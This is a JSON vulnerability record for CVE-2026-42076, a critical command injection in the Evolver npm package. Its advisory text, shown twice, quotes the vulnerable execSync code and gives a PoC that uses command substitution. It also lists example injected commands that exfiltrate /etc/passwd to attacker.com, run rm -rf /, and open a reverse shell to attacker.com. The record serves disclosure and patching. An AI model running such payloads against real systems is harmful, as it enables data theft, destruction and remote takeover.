{"id":"CVE-2026-42076","aliases":["EUVD-2026-27009","GHSA-j5w5-568x-rq53"],"status":"published","title":"Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution","description":"Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters. This issue has been patched in version 1.69.3.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01705,"percentile":0.77609,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-04-22T22:06:03Z","modified":"2026-10-28T02:30:34Z","fixes":[{"ecosystem":"npm","package":"@evomap/evolver","fixed_in":["1.69.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@evomap/evolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.69.3"}]}]},{"source":"osv","ecosystem":"npm","package":"@evomap/evolver","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.69.3"}]}]}],"products":[{"vendor":"evomap","product":"evolver"}],"references":[{"url":"https://github.com/EvoMap/evolver/security/advisories/GHSA-j5w5-568x-rq53","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.3","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42076","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-j5w5-568x-rq53"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42076.json","tags":["advisory"]},{"url":"https://github.com/EvoMap/evolver","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42076","title":"Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution","description":"Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters. This issue has been patched in version 1.69.3.","status":"published","published":"2026-05-04T16:48:51.446Z","modified":"2026-05-05T14:14:58.325Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T13:40:23.731501Z"}],"euvd":[{"id":"EUVD-2026-27009","description":"Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters. This issue has been patched in version 1.69.3.","status":"published","published":"2026-05-04T16:48:51Z","modified":"2026-05-05T14:14:58Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:05:17.068199Z"}],"ghsa":[{"id":"GHSA-j5w5-568x-rq53","title":"Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution","description":"### Summary\nA command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters.\n\n### Details\nThe vulnerability exists in `src/gep/signals.js` at lines 260-274:\n\n```javascript\n// src/gep/signals.js:260-274\nfunction _extractLLM(corpus, nodeSecret, hubUrl) {\n  // ...\n  var url = getHubUrl(hubUrl) + '/gep/extract';\n  var postData = JSON.stringify({ corpus_summary: summary });\n  \n  // VULNERABLE: String concatenation into shell command\n  var curlCmd = 'curl -s -m 10 -X POST'\n    + ' -H \"Content-Type: application/json\"'\n    + ' -H \"Authorization: Bearer ' + nodeSecret + '\"'\n    + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n    + ' ' + JSON.stringify(url);\n\n  // VULNERABLE: Executes shell command\n  stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' });\n  // ...\n}\n```\n\nThe `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`.\n\nThe `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file that simulates the vulnerable code path:\n\n```javascript\n// test-command-injection.js\nconst { execSync } = require('child_process');\n\n// Simulate the vulnerable _extractLLM function\nfunction vulnerableExtractLLM(corpus) {\n  const postData = JSON.stringify({ corpus_summary: corpus });\n  const curlCmd = 'curl -s -m 10 -X POST'\n    + ' -H \"Content-Type: application/json\"'\n    + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n    + ' http://localhost/test';\n  \n  console.log('Command that would be executed:');\n  console.log(curlCmd);\n  console.log('\\n--- Testing command substitution ---');\n  \n  // Demonstrate that command substitution works\n  const testCmd = 'echo ' + JSON.stringify('$(id)');\n  console.log('\\nTest with echo:');\n  console.log(execSync(testCmd, { encoding: 'utf8' }));\n}\n\n// Payload with command injection\nconst maliciousCorpus = '$(touch /tmp/pwned)';\nvulnerableExtractLLM(maliciousCorpus);\n```\n\n2. Run the test:\n```bash\nnode test-command-injection.js\n```\n\n**Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands.\n\n**Actual exploit scenario:**\nIf an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like:\n- `$(curl attacker.com/exfil?data=$(cat /etc/passwd))`\n- `$(rm -rf /)`\n- `$(bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261)`\n\n### Impact\nThis is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to:\n- Full system compromise\n- Data exfiltration\n- Installation of malware/backdoors\n- Lateral movement within the network\n\n**Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.","status":"published","published":"2026-04-22T22:06:03Z","modified":"2026-05-04T19:54:36Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:00.970271Z"}],"nvd":[{"id":"CVE-2026-42076","description":"Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters. This issue has been patched in version 1.69.3.","status":"published","published":"2026-05-04T17:16:24.44Z","modified":"2026-10-26T19:10:00.163Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:17.022502Z"}],"osv":[{"id":"CVE-2026-42076","title":"Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution","description":"Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters. This issue has been patched in version 1.69.3.","status":"published","published":"2026-05-04T16:48:51.446Z","modified":"2026-10-28T02:30:34.007951553Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"GHSA-j5w5-568x-rq53","title":"Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution","description":"### Summary\nA command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters.\n\n### Details\nThe vulnerability exists in `src/gep/signals.js` at lines 260-274:\n\n```javascript\n// src/gep/signals.js:260-274\nfunction _extractLLM(corpus, nodeSecret, hubUrl) {\n  // ...\n  var url = getHubUrl(hubUrl) + '/gep/extract';\n  var postData = JSON.stringify({ corpus_summary: summary });\n  \n  // VULNERABLE: String concatenation into shell command\n  var curlCmd = 'curl -s -m 10 -X POST'\n    + ' -H \"Content-Type: application/json\"'\n    + ' -H \"Authorization: Bearer ' + nodeSecret + '\"'\n    + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n    + ' ' + JSON.stringify(url);\n\n  // VULNERABLE: Executes shell command\n  stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' });\n  // ...\n}\n```\n\nThe `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`.\n\nThe `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file that simulates the vulnerable code path:\n\n```javascript\n// test-command-injection.js\nconst { execSync } = require('child_process');\n\n// Simulate the vulnerable _extractLLM function\nfunction vulnerableExtractLLM(corpus) {\n  const postData = JSON.stringify({ corpus_summary: corpus });\n  const curlCmd = 'curl -s -m 10 -X POST'\n    + ' -H \"Content-Type: application/json\"'\n    + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n    + ' http://localhost/test';\n  \n  console.log('Command that would be executed:');\n  console.log(curlCmd);\n  console.log('\\n--- Testing command substitution ---');\n  \n  // Demonstrate that command substitution works\n  const testCmd = 'echo ' + JSON.stringify('$(id)');\n  console.log('\\nTest with echo:');\n  console.log(execSync(testCmd, { encoding: 'utf8' }));\n}\n\n// Payload with command injection\nconst maliciousCorpus = '$(touch /tmp/pwned)';\nvulnerableExtractLLM(maliciousCorpus);\n```\n\n2. Run the test:\n```bash\nnode test-command-injection.js\n```\n\n**Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands.\n\n**Actual exploit scenario:**\nIf an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like:\n- `$(curl attacker.com/exfil?data=$(cat /etc/passwd))`\n- `$(rm -rf /)`\n- `$(bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261)`\n\n### Impact\nThis is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to:\n- Full system compromise\n- Data exfiltration\n- Installation of malware/backdoors\n- Lateral movement within the network\n\n**Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.","status":"published","published":"2026-04-22T22:06:03Z","modified":"2026-05-05T16:11:45.846873Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:49.977351Z"}]}}